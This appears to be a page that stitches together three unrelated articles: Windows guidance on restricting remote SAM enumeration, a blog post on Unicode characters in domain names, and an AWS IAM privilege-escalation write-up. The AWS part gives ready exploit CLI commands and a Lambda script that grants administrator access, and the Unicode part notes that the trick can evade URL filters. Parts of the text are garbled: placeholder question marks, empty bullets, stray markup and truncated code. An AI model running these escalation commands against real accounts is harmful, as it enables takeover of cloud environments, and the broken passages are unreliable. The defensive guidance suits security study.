This topic also covers related events, and how to enable audit mode before constraining the security principals that are allowed to remotely enumerate users and groups so that your environment remains secure without impacting application compatibility.


The SAMRPC protocol makes it possible for a low privileged user to query a machine on a network for data. For example, a user can use SAMRPC to enumerate users, including privileged accounts such as local or domain administrators, or to enumerate groups and group memberships from the local SAM and Active Directory. This information can provide important context and serve as a starting point for an attacker to compromise a domain or networking environment.

To mitigate this risk, you can configure the Network access: Restrict clients allowed to make remote calls to SAM security policy setting to force the security accounts manager (SAM) to do an access check against remote calls. The access check allows or denies remote RPC connections to SAM and Active Directory for users and groups that you define.

By default, the Network access: Restrict clients allowed to make remote calls to SAM security policy setting is not defined. If you define it, you can edit the default Security Descriptor Definition Language (SDDL) string to explicitly allow or deny users and groups to make remote calls to the SAM. If the policy setting is left blank after the policy is defined, the policy is not enforced.

The default security descriptor on computers beginning with Windows 10 version 1607 and Windows Server 2016 allows only the local (built-in) Administrators group remote access to SAM on non-domain controllers, and allows Everyone access on domain controllers. You can edit the default security descriptor to allow or deny other users and groups, including the built-in Administrators.

The default security descriptor on computers that run earlier versions of Windows does not restrict any remote calls to SAM, but an administrator can edit the security descriptor to enforce restrictions. This less restrictive default allows for testing the impact of enabling restrictions on existing applications.

Policy and Registry Names

Policy Name Network access: Restrict clients allowed to make remote calls to SAM
Location Computer Configuration|Windows Settings|Security Settings|Local Policies|Security Options
Possible values — Not defined
— Defined, along with the security descriptor for users and groups who are allowed or denied to use SAMRPC to remotely access either the local SAM or Active Directory.
Registry location
Registry type REG_SZ
Registry value A string that will contain the SDDL of the security descriptor to be deployed.

The Group Policy setting is only available on computers that run Windows Server 2016 or Windows 10, version 1607 and later. This is the only option to configure this setting by using a user interface (UI).

On computers that run earlier versions of Windows, you need to edit the registry setting directly or use Group Policy Preferences. To avoid setting it manually in this case, you can configure the GPO itself on a computer that runs Windows Server 2016 or Windows 10, version 1607 or later and have it apply to all computers within the scope of the GPO because the same registry key exists on every computer after the corresponding KB is installed.


This policy is implemented similarly to other «Network access» policies in that there is a single policy element at the registry path listed. There is no notion of a local policy versus an enterprise policy; there is just one policy setting and whichever writes last wins.

For example, suppose a local administrator configures this setting as part of a local policy using the Local Security Policy snap-in (Secpol.msc), which edits that same registry path. If an enterprise administrator configures this setting as part of an enterprise GPO, that enterprise GPO will overwrite the same registry path.

Default values

Beginning with Windows 10, version 1607 and Windows Server 2016, computers have hard-coded and more restrictive default values than earlier versions of Windows. The different default values help strike a balance where recent Windows versions are more secure by default and older versions don’t undergo any disruptive behavior changes. Administrators can test whether applying the same restriction earlier versions of Windows will cause compatibility problems for existing applications before implementing this security policy setting in a production environment.

In other words, the hotfix in each KB article provides the necessary code and functionality, but you need to configure the restriction after you install the hotfix—no restrictions are enabled by default after the hotfix is installed on earlier versions of Windows.

Default SDDL Translated SDDL Comments
Windows Server 2016 domain controller (reading Active Directory) “” Everyone has read permissions to preserve compatibility.
Earlier domain controller No access check is performed by default.
Windows 10, version 1607 non-domain controller O:SYG:SYD:(A;;RC;;;BA) Owner: NTAUTHORITY/SYSTEM (WellKnownGroup) (S-1-5-18)
Primary group: NTAUTHORITY/SYSTEM (WellKnownGroup) (S-1-5-18)
• Revision: 0x02
• Size: 0x0020
• Ace Count: 0x001
• Ace[00]————————-
Access Mask:0x00020000
AceSid: BUILTIN\Administrators (Alias) (S-1-5-32-544)SACL: Not present
Grants RC access (READ_CONTROL, also known as STANDARD_RIGHTS_READ) only to members of the local (built-in) Administrators group.
Earlier non-domain controller No access check is performed by default.

Policy management

This section explains how to configure audit-only mode, how to analyze related events that are logged when the Network access: Restrict clients allowed to make remote calls to SAM security policy setting is enabled, and how to configure event throttling to prevent flooding the event log.

Audit only mode

Audit only mode configures the SAMRPC protocol to do the access check against the currently configured security descriptor but will not fail the call if the access check fails. Instead, the call will be allowed, but SAMRPC will log an event describing what would have happened if the feature had been enabled. This provides administrators a way to test their applications before enabling the policy in production. Audit only mode is not configured by default. To configure it, add the following registry setting.

Registry Details
Path HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
Setting RestrictRemoteSamAuditOnlyMode
Value 1
Notes This setting cannot be added or removed by using predefined Group Policy settings.
Administrators may create a custom policy to set the registry value if needed.
SAM responds dynamically to changes in this registry value without a reboot.
You can use the Events 16962 — 16969 Reader script to parse the event logs, as explained in the next section.

There are corresponding events that indicate when remote calls to the SAM are restricted, what accounts attempted to read from the SAM database, and more. The following workflow is recommended to identify applications that may be affected by restricting remote calls to SAM:

  1. Dump event logs to a common share.
  2. Parse them with the Events 16962 — 16969 Reader script.
  3. Review Event IDs 16962 to 16969, as listed in the following table, in the System log with event source Directory-Service-SAM.
  4. Identify which security contexts are enumerating users or groups in the SAM database.
  5. Prioritize the callers, determine if they should be allowed or not, then include the allowed callers in the SDDL string.
Event ID Event Message Text Explanation
16962 «Remote calls to the SAM database are being restricted using the default security descriptor: %1.%n »

%2- «Default SD String:»

Emit event when registry SDDL is absent, causing fallback to default hard-coded SDDL (event should include a copy of the default SDDL).
16963 Message Text: «Remote calls to the SAM database are being restricted using the configured registry security descriptor: %1.%n»

%1 — «Registry SD String:»

Emit event when a new SDDL is read from the registry (either on startup or change) and is considered valid. The event includes the source and a copy of the queried SDDL.
16964 «The registry security descriptor is malformed: %1.%n Remote calls to the SAM database are being restricted using the default security descriptor: %2.%n»

%1- «Malformed SD String:»
%2- «Default SD String:»

Emit event when registry SDDL is mal-formed, causing fallback to default hard-coded SDDL (event should include a copy of the default SDDL).
16965 Message Text: «A remote call to the SAM database has been denied.%nClient SID: %1%n Network address: %2%n»

%1- «Client SID:» %2- «Client Network Address

Emit event when access is denied to a remote client. Event should include identity and network address of the client.
16966 Audit Mode is enabled-

Message Text: «Audit only mode is now enabled for remote calls to the SAM database. SAM will log an event for clients who would have been denied access in normal mode. %n»

Emit event whenever training mode (see 16968) is enabled or disabled.
16967 Audit Mode is disabled-

Message Text: «Audit only mode is now disabled for remote calls to the SAM database.%n For more information»

Emit event whenever training mode (see 16968) is enabled or disabled.
16968 Message Text: «Audit only mode is currently enabled for remote calls to the SAM database.%n The following client would have been normally denied access:%nClient SID: %1 from network address: %2. %n»
%1- «Client SID:»
%2- «Client Network Address:»
Emit event when access would have been denied to a remote client, but was allowed through due to training mode being enabled. Event should include identity and network address of the client.
16969 Message Text: «%2 remote calls to the SAM database have been denied in the past %1 seconds throttling window.%n
«%1- «Throttle window:»
%2- «Suppressed Message Count:»
Throttling may be necessary for some events due to expected high volume on some servers causing the event log to wrap.

Note: There is no throttling of events when audit mode is enabled. Environments with a large number of low-privilege and anonymous querying of the remote database may see large numbers of events logged to the System log. For more info, see the Event Throttlingsection.

Compare the security context attempting to remotely enumerate accounts with the default security descriptor. Then edit the security descriptor to add accounts that require remote access.

Event Throttling

A busy server can flood event logs with events related to the remote enumeration access check. To prevent this, access-denied events are logged once every 15 minutes by default. The length of this period is controlled by the following registry value.

Registry Path HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
Setting RestrictRemoteSamEventThrottlingWindow
Data Type DWORD
Value seconds
Reboot Required? No
Notes Default is 900 seconds – 15mins.
The throttling uses a suppressed events counter which starts at 0 and gets incremented during the throttling window.
For example, X events were suppressed in the last 15 minutes.
The counter is restarted after the event 16969 is logged.

Restart requirement

Restarts are not required to enable, disable or modify the Network access: Restrict clients allowed to make remote calls to SAM security policy setting, including audit only mode. Changes become effective without a device restart when they are saved locally or distributed through Group Policy.

Security considerations

This section describes how an attacker might exploit a feature or its configuration, how to implement the countermeasure, and the possible negative consequences of countermeasure implementation.


The SAMRPC protocol has a default security posture that makes it possible for low-privileged attackers to query a machine on the network for data that is critical to their further hacking and penetration plans.

The following example illustrates how an attacker might exploit remote SAM enumeration:

  1. A low-privileged attacker gains a foothold on a network.
  2. The attacker then queries all machines on the network to determine which ones have a highly privileged domain user configured as a local administrator on that machine.
  3. If the attacker can then find any other vulnerability on that machine that allows taking it over, the attacker can then squat on the machine waiting for the high-privileged user to logon and then steal or impersonate those credentials.


You can mitigate this vulnerability by enabling the Network access: Restrict clients allowed to make remote calls to SAM security policy setting and configuring the SDDL for only those accounts that are explicitly allowed access.

Domain hacks with unusual Unicode characters

( Original text by @edent )

Unicode contains a range of symbols which don’t get much use. For example, there are separate symbols for TradeMark — ™, Service Mark — ℠, and Prescriptions — ℞.

Nestling among the «Letterlike Symbols» are two curious entries. Both of these are single characters:

What’s interesting is both .tel and .no are Top-Level-Domains (TLD) on the Domain Name System (DNS).

So my contact site — — can be written as — https://edent.℡/

And the Norwegian domain name registry NORID can be accessed at https://www.norid.№/

Copy and paste those links — they work in any browser!

Is this limited to TLDs?

No! This works ANYWHERE in a domain name. Copy and paste these examples:

  • Script https://ℰ????????ℳ????ℒℰ.????????ℳ/
  • Math Bold https://????????????????????????????.????????????/
  • Fraktur https://????????????????????????????.????????????/
  • Math bold italic https://????????????????????????????.????????????/
  • Math bold script https://????????????????????????????.????????????/
  • Double struck https://????????????????????????????.????????????/
  • Monospace https://????????????????????????????.????????????/
  • Super script https://ᵉˣᵃᵐᵖˡᵉ.ᶜᵒᵐ/
  • Sub script https://ₑₓₐₘₚₗₑ.cₒₘ/ NB not all characters supported
  • Math sans bold https://????????????????????????????.????????????/
  • Math sans bold italic https://????????????????????????????.????????????/
  • Math sans italic https://????????????????????????????.????????????/
  • Math Squared https://????????????????????????????.????????????/ NB the dot must not be squared
  • Circled https://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ/ NB the dot must not be circled

There are a whole bunch more miscellaneous characters you can use:

How does this work?

Magic! Which is to say, I think it is the browser doing the conversion. DNS Servers don’t successfully reply to queries about .℡ domains.

The browser sees the .℡ and then follows the IDNA2008 process listed in RFC5895 to normalise it:

The ℡ entry is:

2121;TELEPHONE SIGN;So;0;ON;&lt;compat&gt; 0054 0045 004C;;;;N;T E L SYMBOL;;;;

U+0054 is T, U+0045 is E, U+004C is L.

You can test this in Python using:

python -c 'import sys;print sys.argv[<span class="hljs-number">1</span>].decode(<span class="hljs-string">"utf-8"</span>).encode(<span class="hljs-string">"idna"</span>)' <span class="hljs-string">"℡"</span>

Does this work?

Yes! I asked people on Twitter whether they could access my website using a .℡ — and it appeared to work on every modern browser and operating system.

It even works on command line tools like 





It does fail in some circumstances:

What are the limitations?

Two main ones:

  • Sites like Twitter and Facebook don’t recognise it as a valid URl and refuse to auto link it.
  • Some command line tools like 



     don’t understand it

dig edent.℡

; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; edent.℡
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NXDOMAIN, id: 55282

Is this useful?

Obviously yes. This may be the most important discovery of the decade. You get cool looking URls and get to save a couple of characters on specific domains, at the minor expense of working inconsistently.

It could also be used for evading URl filters.

Every modern browser supports these «fancy» domain names — but most websites won’t automatically link to them. So sharing on Facebook doesn’t work.

Where can it be used?

Here are the single characters which can be normalised down to a valid TLD. They’re mostly country codes, but there are a few interesting exceptions:

  •  — US Military

  •  — .tel registry

  •  — Norway

  •  — Australia

  •  — Dominica

  •  — Panama

  •  — Namibia

  •  — Morocco

  •  — French Polynesia

  •  — Norfolk Island

  •  — Kyrgyzstan

  •  — Mali

  •  — Federated States of Micronesia

  •  — Finland

  •  — Myanmar

  •  — Cameroon

  •  & 

     — Comoros

  •  — Palestine

  •  — Montserrat

  •  & 

     — Republic of Maldives.

  •  — Palau

  •  & 

     — Malawi

  •  — Cocos (Keeling) Islands

  •  — Democratic Republic of Congo

  •  — Guyana

  •  — Philippines

  •  — Saint Pierre and Miquelon

  •  — Puerto Rico

  •  — Suriname

  •  — El Salvador

  •  — San Marino

  •  — Turkmenistan

  •  & 

     — São Tomé and Príncipe

  •  — Great Britain (Obsolete)

  • ß

     — South Sudan (Not available)

  •  — India and Indiana (subdomain of .us)

  •  & 

     — Virgin Islands and Virginia (subdomain of .us)

  •  — Florida (subdomain of .us)

  •  — New Mexico (subdomain of .us)

  •  — Nevada (subdomain of .us)

  •  — As part of .ovh

If you can find any more, please stick a comment in the box below.

You can always reach this blog post at:


AWS Privilege Escalation Vulnerabilities

( Original text by rhinosecuritylabs )

At Rhino Security Labs, we do a lot of penetration testing for AWS architecture, and invest heavily in related AWS security research.  This post will cover our recent findings in new IAM Privilege Escalation methods – 17 in total – which allow an attacker to escalate from a compromised low-privilege account to full administrative privileges.

In addition to many new privilege escalation routes, we’ve created a scanning tool (available on Github) to identify these vulnerabilities in your own AWS user account.  if you have an account with IAM read access for all users, the script can be run against every user in the account to detect these vulnerabilities account-wide.


Note:  This is a longer, more meaty blog post.  For those just looking for the remediation steps and scanner….

Why is this Important?

Cloud privilege escalation and IAM permission misconfigurations have been discussed in the past, but most posts and tools only offer ‘best practices’ and not context on what’s actually exploitable.

By documenting specific combinations of weak permissions that could lead to compromise, we aim to help highlight these risks and bring awareness to ways API permissions can be abused.

Specific AWS Escalation Methods

Here we get into the full list of identified escalation methods, as well as a description and potential impact for each.

Specific credit to the team at CyberArk for their initial research into AWS Shadow Admins”, which are used/relevant in the first 10 methods.

1. Creating a new policy version

Description: An attacker with the iam:CreatePolicyVersion permission can create a new version of an IAM policy that they have access to. This allows them to define their own custom permissions. When creating a new policy version, it needs to be set as the default version to take effect, which you would think would require the iam:SetDefaultPolicyVersion permission, but when creating a new policy version, it is possible to include a flag (–set-as-default) that will automatically create it as the new default version. That flag does not require the iam:SetDefaultPolicyVersion permission to use.

An example command to exploit this method might look like this:

aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default

Where the policy.json file would include a policy document that allows any action against any resource in the account.

Potential Impact: This privilege escalation method could allow a user to gain full administrator access of the AWS account.

2. Setting the default policy version to an existing version

Description: An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges through existing policy versions that are not currently in use. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version.

An example command to exploit this method might look like this:

aws iam set-default-policy-version –policy-arn target_policy_arn –verion-id v2

Where “v2” is the policy version with the most privileges available.

Potential Impact: The potential impact is associated with the level of permissions that the inactive policy version has. This could range from no privilege escalation at all to gaining full administrator access to the AWS account, depending on what the inactive policy versions have access to.

3. Creating an EC2 instance with an existing instance profile

Description: An attacker with the iam:PassRole and ec2:RunInstances permissions can create a new EC2 instance that they will have operating system access to and pass an existing EC2 instance profile/service role to it. They can then login to the instance and request the associated AWS keys from the EC2 instance meta data, which gives them access to all the permissions that the associated instance profile/service role has.

The attacker can gain access to the instance in a few different ways. One way would be to create/import an SSH key and associated it with the instance on creation, so they can SSH into it. Another way would be to supply a script in the EC2 User Data that would give them access, such as an Empire stager, or even just a reverse shell payload.

Once the instance is running and the user has access to it, they can query the EC2 metadata to retrieve temporary credentials for the associated instance profile, giving them access to any AWS service that the attached role has.

An example command to exploit this method might look like this:

aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456

Where the attacker has access to my_ssh_key and the security group sg-123456 allows SSH access. Another command that could be run that doesn’t require an SSH key or security group allowing SSH access might look like this:

aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/

Where the .sh script file contains a script to open a reverse shell in one way or another.

An important note to make about this attack is that an obvious indicator of compromise is when EC2 instance profile credentials are used outside of the specific instance. Even AWS GuardDuty triggers on this (, so it is not a smart move to exfiltrate these credentials and run them locally, but rather access the AWS API from within that EC2 instance.

Potential Impact: This attack would give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.

4. Creating a new user access key

Description: An attacker with the iam:CreateAccessKey permission on other users can create an access key ID and secret access key belonging to another user in the AWS environment, if they don’t already have two sets associated with them (which best practice says they shouldn’t).

An example command to exploit this method might look like this:

aws iam create-access-key –user-name target_user

Where target_user has an extended set of permissions compared to the current user.

Potential Impact: This method would give an attacker the same level of permissions as any user they were able to create an access key for, which could range from no privilege escalation to full administrator access to the account.

5. Creating a new login profile

Description: An attacker with the iam:CreateLoginProfile permission on other users can create a password to use to login to the AWS console on any user that does not already have a login profile setup.

An example command to exploit this method might look like this:

aws iam create-login-profile –user-name target_user –password ‘|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(‘ –no-password-reset-required

Where target_user has an extended set of permissions compared to the current user and the password is the max possible length (128 characters) with all types of characters (symbols, lowercase, uppercase, numbers) so that you can guarantee that it will meet the accounts minimum password requirements.

Potential Impact: This method would give an attacker the same level of permissions as any user they were able to create a login profile for, which could range from no privilege escalation to full administrator access to the account.

6. Updating an existing login profile

Description: An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.

Like creating a login profile, an example command to exploit this method might look like this:

aws iam update-login-profile –user-name target_user –password ‘|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(‘ –no-password-reset-required

Where target_user has an extended set of permissions compared to the current user and the password is the max possible length (128 characters) with all types of characters (symbols, lowercase, uppercase, numbers) so that you can guarantee that it will meet the accounts minimum password requirements.


Potential Impact: This method would give an attacker the same level of permissions as any user they were able to update the login profile for, which could range from no privilege escalation to full administrator access to the account.


7. Attaching a policy to a resource

Description: An attacker with the iam:AttachUserPolicyiam:AttachGroupPolicy, or iam:AttachRolePolicy permissions can escalate privileges by attaching a policy to a user, group, or role that they have access to, adding the permissions of that policy to the attacker.

Some example commands to exploit this method might look like these:

aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws iam attach-group-policy –group-name group_i_am_in –policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Where the user name is the current user, the group is a group the current user is in, or the role is a role that the current user can temporarily assume with sts:AssumeRole.

Potential Impact: An attacker would be able to use this method to attach the AdministratorAccess AWS managed policy to a user, group, or role, giving them full administrator access to the AWS environment.

8. Updating an inline policy for a resource

Description: An attacker with the iam:PutUserPolicyiam:PutGroupPolicy, or iam:PutRolePolicy permissions can escalate privileges by updating an existing inline policy for a user, group, or role that they have access to, adding the permissions of the updated policy to the attacker.

Some example commands to exploit this method might look like these:

aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json

aws iam put-group-policy –group-name group_i_am_in –policy-name group_inline_policy –policy-document file://path/to/administrator/policy.json

aws iam put-role-policy –role-name role_i_can_assume –policy-name role_inline_policy –policy-document file://path/to/administrator/policy.json

Where the user name is the current user, the group is a group the current user is in, or the role is a role that the current user can temporarily assume with sts:AssumeRole.

Potential Impact: Due to the ability to specify an arbitrary policy document with this method, the attacker could specify a policy that gives permission to perform any action on any resource, ultimately escalating to full administrator privileges in the AWS environment.

9. Adding a user to a group

Description: An attacker with the iam:AddUserToGroup permission can use it to add themselves to an existing IAM Group in the AWS account.

An example command to exploit this method might look like this:

aws iam add-user-to-group –group-name target_group –user-name my_username

Where target_group has more/different privileges than the attacker’s user account.

Potential Impact: The attacker would be able to gain privileges of any existing group in the account, which could range from no privilege escalation to full administrator access to the account.

10. Updating the AssumeRolePolicyDocument of a role

Description: An attacker with the iam:UpdateAssumeRolePolicy and sts:AssumeRole permissions would be able to change the assume role policy document of any existing role to allow them to assume that role.

An example command to exploit this method might look like this:

aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json

Where the policy looks like the following, which gives the user permission to assume the role:

“Version”: “2012-10-17”,
“Statement”: [
“Effect”: “Allow”,
“Principal”: {
“AWS”: “arn:aws:iam::my_account_id:user/my_username”
“Action”: “sts:AssumeRole”
Potential Impact: This would give the attacker the privileges that are attached to any role in the account, which could range from no privilege escalation to full administrator access to the account.

11. Passing a role to a new Lambda function, then invoking it

Description: A user with the iam:PassRolelambda:CreateFunction, and lambda:InvokeFunction permissions can escalate privileges by passing an existing IAM role to a new Lambda function that includes code to import the relevant AWS library to their programming language of choice, then using it perform actions of their choice. The code could then be run by invoking the function through the AWS API.

An example set of commands to exploit this method might look like this:

aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/

Where the code in the python file would utilize the targeted role. An example that uses IAM to attach an administrator policy to the current user can be seen here:

import boto3

def lambda_handler(event, context):

client = boto3.client(‘iam’)

response = client.attach_user_policy(


PolicyArn=’ arn:aws:iam::aws:policy/AdministratorAccess’


return response

After this, the attacker would then invoke the Lambda function using the following command:

aws lambda invoke –function-name my_function output.txt

Where output.txt is where the results of the invocation will be stored.

Potential Impact: This would give a user access to the privileges associated with any Lambda service role that exists in the account, which could range from no privilege escalation to full administrator access to the account.

12. Passing a role to a new Lambda function, then triggering it with DynamoDB

Description: A user with the iam:PassRolelambda:CreateFunction, and lambda:CreateEventSourceMapping (and possibly dynamodb:PutItem and dynamodb:CreateTable) permissions, but without the lambda:InvokeFunction permission, can escalate privileges by passing an existing IAM role to a new Lambda function that includes code to import the relevant AWS library to their programming language of choice, then using it perform actions of their choice. They then would need to either create a DynamoDB table or use an existing one, to create an event source mapping for the Lambda function pointing to that DynamoDB table. Then they would need to either put an item into the table or wait for another method to do so that the Lambda function will be invoked.

An example set of commands to exploit this method might look like this:

aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/

Where the code in the python file would utilize the targeted role. An example would be the same script used in method 11’s description.

After this, the next step depends on whether DynamoDB is being used in the current AWS environment. If it is being used, all that needs to be done is creating the event source mapping for the Lambda function, but if not, then the attacker will need to create a table with streaming enabled with the following command:

aws dynamodb create-table –table-name my_table –attribute-definitions AttributeName=Test,AttributeType=S –key-schema AttributeName=Test,KeyType=HASH –provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 –stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

After this command, the attacker would connect the Lambda function and the DynamoDB table by creating an event source mapping with the following command:

aws lambda create-event-source-mapping –function-name my_function –event-source-arn arn_of_dynamodb_table_stream –enabled –starting-position LATEST

Now that the Lambda function and the stream are connected, the attacker can invoke the Lambda function by triggering the DynamoDB stream. This can be done by putting an item into the DynamoDB table, which will trigger the stream, using the following command:

aws dynamodb put-item –table-name my_table –item Test={S=”Random string”}

At this point, the Lambda function will be invoked, and the attacker will be made an administrator of the AWS account.

Potential Impact: This would give an attacker access to the privileges associated with any Lambda service role that exists in the account, which could range from no privilege escalation to full administrator access to the account.

13. Updating the code of an existing Lambda function

Description: An attacker with the lambda:UpdateFunctionCode permission could update the code in an existing Lambda function with an IAM role attached so that it would import the relevant AWS library in that programming language and use it to perform actions on behalf of that role. They would then need to wait for it to be invoked if they were not able to do so directly, but if it already exists, there is likely some way that it will be invoked.

An example command to exploit this method might look like this:

aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/

Where the associated .zip file contains code that utilizes the Lambda’s role. An example could include the code snippet from methods 11 and 12.

Potential Impact: This would give an attacker access to the privileges associated with the Lambda service role that is attached to that function, which could range from no privilege escalation to full administrator access to the account.

14. Passing a role to a Glue Development Endpoint

Description: An attacker with the iam:PassRole and glue:CreateDevEndpoint permissions could create a new AWS Glue development endpoint and pass an existing service role to it. They then could SSH into the instance and use the AWS CLI to have access of the permissions the role has access to.

An example command to exploit this method might look like this:

aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/

Now the attacker would just need to SSH into the development endpoint to access the roles credentials. Even though it is not specifically noted in the GuardDuty documentation, like method number 2 (Creating an EC2 instance with an existing instance profile), it would be a bad idea to exfiltrate the credentials from the Glue Instance. Instead, the AWS API should be accessed directly from the new instance.

Potential Impact: This would give an attacker access to the privileges associated with any Glue service role that exists in the account, which could range from no privilege escalation to full administrator access to the account.

15. Updating an existing Glue Dev Endpoint

Description: An attacker with the glue:UpdateDevEndpoint permission would be able to update the associated SSH public key of an existing Glue development endpoint, to then SSH into it and have access to the permissions the attached role has access to.

An example command to exploit this method might look like this:

aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/

Now the attacker would just need to SSH into the development endpoint to access the roles credentials. Like method number 14, even though it is not specifically noted in the GuardDuty documentation, it would be a bad idea to exfiltrate the credentials from the Glue Instance. Instead, the AWS API should be accessed directly from the new instance.

Potential Impact: This would give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint, which could range from no privilege escalation to full administrator access to the account.

16. Passing a role to CloudFormation

Description: An attacker with the iam:PassRole and cloudformation:CreateStack permissions would be able to escalate privileges by creating a CloudFormation template that will perform actions and create resources using the permissions of the role that was passed when creating a CloudFormation stack.

An example command to exploit this method might look like this:

aws cloudformation create-stack –stack-name my_stack –template-url –role-arn arn_of_cloudformation_service_role

Where the template located at the attacker’s website includes directions to perform malicious actions, such as creating an administrator user and then using those credentials to escalate their own access.


Potential Impact: This would give an attacker access to the privileges associated with the role that was passed when creating the CloudFormation stack, which could range from no privilege escalation to full administrator access to the account.

17. Passing a role to Data Pipeline

Description: An attacker with the iam:PassRoledatapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions would be able to escalate privileges by creating a pipeline and updating it to run an arbitrary AWS CLI command or create other resources, either once or on an interval with the permissions of the role that was passed in.

Some example commands to exploit this method might look like these:

aws datapipeline create-pipeline –name my_pipeline –unique-id unique_string

Which will create an empty pipeline. The attacker then needs to update the definition of the pipeline to tell it what to do, with a command like this:

aws datapipeline put-pipeline-definition –pipeline-id unique_string –pipeline-definition file://path/to/my/pipeline/definition.json

Where the pipeline definition file contains a directive to run a command or create resources using the AWS API that could help the attacker gain additional privileges.

Potential Impact: This would give the attacker access to the privileges associated with the role that was passed when creating the pipeline, which could range from no privilege escalation to full administrator access to the account.

Scanning for Permission Flaws: aws_escalate

While any of these privilege escalation methods can be checked manually, by either manually reviewing the users IAM permissions or attempting to exploit each method, it can be very time consuming.

To automate this process, we have written a tool to do all that checking for you:

Using the script (Github available here), it is possible to detect what users have access to what privilege escalation methods in an AWS environment. It can be run against any single user or every user in the account if the access keys being used have IAM read access.  Results output is in csv, including a breakdown of users scanned and the privilege escalation methods they are vulnerable to.


When opened in Excel, the left-most column contains the names of all the privilege escalation methods that were checked for and the top-most row includes the names of all the IAM users that were checked.

Every field (intersecting a specific vulnerability and tested key) has three possible values:  Confirmed,  Potential, or Blank (the associated account is not vulnerable).  “Confirmed” means it is confirmed that that privilege escalation method works for that user.

If the cell is “Potential”, that means that that privilege escalation method will potentially work, but further investigation is required.

An example of this case is when the user has the required permissions for a method, but the script can’t determine if the resources they can execute on allow for privilege escalation or not.
If the cell is empty, the user does not have the required permissions for that escalation method.

If a user is detected to already have administrator privileges, they will be marked with “(Admin)” next to their username in their column.

aws_escalate Usage and Example

The ‘help’ output of the tool:

usage: [-h] [–all-users] [–user-name USER_NAME]
                                    –access-key-id ACCESS_KEY_ID –secret-key
                                    SECRET_KEY [–session-token SESSION_TOKEN]
This script will fetch permissions for a set of users and then scan for
permission misconfigurations to see what privilege escalation methods are 
possible. Available attack paths will be output to a .csv file in the same directory.
optional arguments:
  -h, –help            show this help message and exit
  –all-users           Run this module against every user in the account.
  –user-name USER_NAME
                        A single username of a user to run this module
                        against. By default, the user to which the active AWS
                        keys belong to will be used.
  –access-key-id ACCESS_KEY_ID
                        The AWS access key ID to use for authentication.
  –secret-key SECRET_KEY
                        The AWS secret access key to use for authentication.
  –session-token SESSION_TOKEN
                        The AWS session token to use for authentication, if
                        there is one.
Some usage examples:
            Check what privilege escalation methods the current user has access to:
                        python3 –access-key-id ABCDEFGHIJK –secret-key hdj6kshakl31/1asdhui1hka
            Check what privilege escalation methods a specific user has access to:
                        python3 –user-name some_other_user –access-key-id ABCDEFGHIJK –secret-key hdj6kshakl31/1asdhui1hka
            Check what privilege escalation methods all users have access to:
                        python3 –all-users –access-key-id ABCDEFGHIJK –secret-key hdj6kshakl31/1asdhui1hka

Here is an example .csv output of the scan I ran against a test environment.  This sandbox environment has 10 separate IAM users, two of which already have administrator privileges (Dave and Spencer) and two are not vulnerable to any of the privilege escalation methods (Bill and BurpS3Checker).

Defense and Mitigation

In general, defending against these attacks is (in theory) relatively simple. The complication comes in when trying to defend against these kinds of attacks when your own environment. In any case, the number one recommendation would be to fully utilize the “Resource” option of IAM policies, and this includes using the built-in variables that policies support.

A list of supporting variables and descriptions can be found here:, but broadly, they allow you set allow or deny certain IAM permissions based on something you don’t know exactly at the time of creation or something that can change over time, from user to user, or other ways (a variable).


The two main IAM policy variables to pay attention to are “aws:SourceIp” (the IP address detected when making API calls) and “aws:username” (the username of the user who is making API calls). Obviously, by restricting permissions to a known IP address, the chances of API calls coming from that IP are not malicious is greatly increased.


By using the “aws:username” variable, it is possible to give users a variety of IAM permissions that they can only execute against themselves. Examples of permissions you would want to use this variable in the resource for include aws:CreateAccessKey (method #4), aws:CreateLoginProfile (method #5), and aws:UpdateLoginProfile (method #6). Included in this list should be permissions relating to setting up (not deleting/removing) multi-factor authentication for the current user account. By giving an IAM user all of these permissions but restricting them to only being allowed to be run on the current user, a user can create their own login profile/password, change their own password, create themselves a new set of access keys, and setup multi-factor authentication for themselves.

A policy like that might look like the following:

“Version”: “2012-10-17”,
